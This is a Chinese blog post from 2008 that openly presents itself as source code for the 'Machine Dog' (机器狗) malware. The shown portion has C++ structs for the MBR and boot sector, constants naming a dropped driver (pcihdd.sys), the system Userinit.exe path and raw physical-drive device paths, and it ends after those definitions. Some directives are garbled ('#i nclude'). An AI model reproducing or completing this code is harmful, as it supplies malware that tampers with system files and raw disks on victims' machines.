连州家园博客网为您载入数据中...

 
 时 间 记 忆 
连州家园博客网为您载入数据中...
连州家园博客网为您载入数据中...

 
 专 题 分 类 
连州家园博客网为您载入数据中...
 最 新 评 论 
连州家园博客网为您载入数据中...
 最 新 日 志 
连州家园博客网为您载入数据中...
 最 新 留 言 
连州家园博客网为您载入数据中...

 
 友 情 连 接 
 用 户 登 录 
连州家园博客网为您载入数据中...
 文 章 搜 索 
 博 客 信 息 
连州家园博客网为您载入数据中...



 
 
 
      机器狗源代码

>>2008-1-25 16:30:00
 

作者:Day-day-up↑

// Test.cpp : 定义控制台应用程序的入口点。
//
#i nclude "stdafx.h"

//==============================================================================
#i nclude <pshpack1.h>
typedef struct _PARTITION_ENTRY
{
   UCHAR active;                 // 能否启动标志
   UCHAR StartHead;               // 该分区起始磁头号
   UCHAR StartSector;             // 起始柱面号高2位:6位起始扇区号
   UCHAR StartCylinder;           // 起始柱面号低8位
   UCHAR PartitionType;           // 分区类型
   UCHAR EndHead;                 // 该分区终止磁头号
   UCHAR EndSector;               // 终止柱面号高2位:6位终止扇区号
   UCHAR EndCylinder;             // 终止柱面号低8位
   ULONG StartLBA;               // 起始扇区号
   ULONG TotalSector;             // 分区尺寸(总扇区数)
} PARTITION_ENTRY, *PPARTITION_ENTRY;

//==============================================================================
typedef struct _MBR_SECTOR
{
   UCHAR             BootCode[446];
   PARTITION_ENTRY   Partition[4];
   USHORT           Signature;
} MBR_SECTOR, *PMBR_SECTOR;

//==============================================================================
typedef struct _BBR_SECTOR
{
   USHORT JmpCode;               // 2字节跳转指令,跳转到引导代码
   UCHAR   NopCode;               // 1字节nop指令,填充用,保证跳转指令长3个字节
   UCHAR   OEMName[8];             // 8字节的OEMName

   // 下面开始为: BPB( BIOS Parameter Block )

   USHORT BytesPerSector;         // 每个扇区的字节数 (512 1024 2048 4096)
   UCHAR   SectorsPerCluster;     // 每个簇的扇区数 ( 1 2 4 8 16 32 64 128 )两者相乘不能超过32K(簇最大大小)
   USHORT ReservedSectors;       // 从卷的第一个扇区开始的保留扇区数目,该值不能为0,对于FAT12/FAT16,该值通常为1,对于FAT32,典型值为32
   UCHAR   NumberOfFATs;           // 卷上FAT数据结构的数目,该值通常应为2,[NTFS不使用NumberOfFATs字段,必须为0]
   USHORT RootEntries;           // 对于FAT12/FAT16,该值表示32字节目录项的数目,对于FAT32,该值必须为0;[NTFS不使用]
   USHORT NumberOfSectors16;     // 该卷上的扇区总数,该字段可以为0,如果该字段为0,则NumberOfSectors32不能为0;对于FAT32,该字段必须为0 [FAT32/NTFS不使用该字段]
   UCHAR   MediaDeor;       // 介质类型
   USHORT SectorsPerFAT16;       // 该字段标识一个FAT结构占有的扇区数(FAT12/FAT16),对于FAT32卷,该字段必须为0;[FAT32/NTFS不使用该字段]
   USHORT SectorsPerTrack;       // 用于INT 0x13中断的每个磁道的扇区数
   USHORT HeadsPerCylinder;       // 用于INT 0x13中断的每个柱面的磁头数
   ULONG   HiddenSectors;         // 包含该FAT卷的分区之前的隐藏扇区数
   ULONG   NumberOfSectors32;     // 该字段包含该卷上的所有扇区数目,对于FAT32,该字段不为0;FAT12/FAT16可根据实际大小是否超过65536个扇区数决定是否采用该字段; [NTFS不使用该字段]

   // 下面开始为: EBPB ( Extended BIOS Parameter Block )

   ULONG   SectorsPerFAT32;       // 对于FAT32,该字段包含一个FAT的大小,而SectorsPerFAT16字段必须为0;
} BBR_SECTOR, *PBBR_SECTOR;

#i nclude <poppack.h>

#define PARTITION_TYPE_NTFS         0x07
#define PARTITION_TYPE_FAT32         0x0B
#define PARTITION_TYPE_FAT32_LBA     0x0C

//==============================================================================
#define STR_SYSFILE_PATH             TEXT("%SystemRoot%\\system32\\drivers\\pcihdd.sys")
#define STR_VIRFILE_PATH             TEXT("%SystemRoot%\\System32\\Userinit.exe")
#define STR_DSKDEVICE_NAME           TEXT("
\\\\.\\PhysicalDrive0")
#define STR_HDDDEVICE_NAME           TEXT("
\\\\.\\PhysicalHardDisk0")

 

   生化幻神   
发表评论:
连州家园博客网为您载入数据中...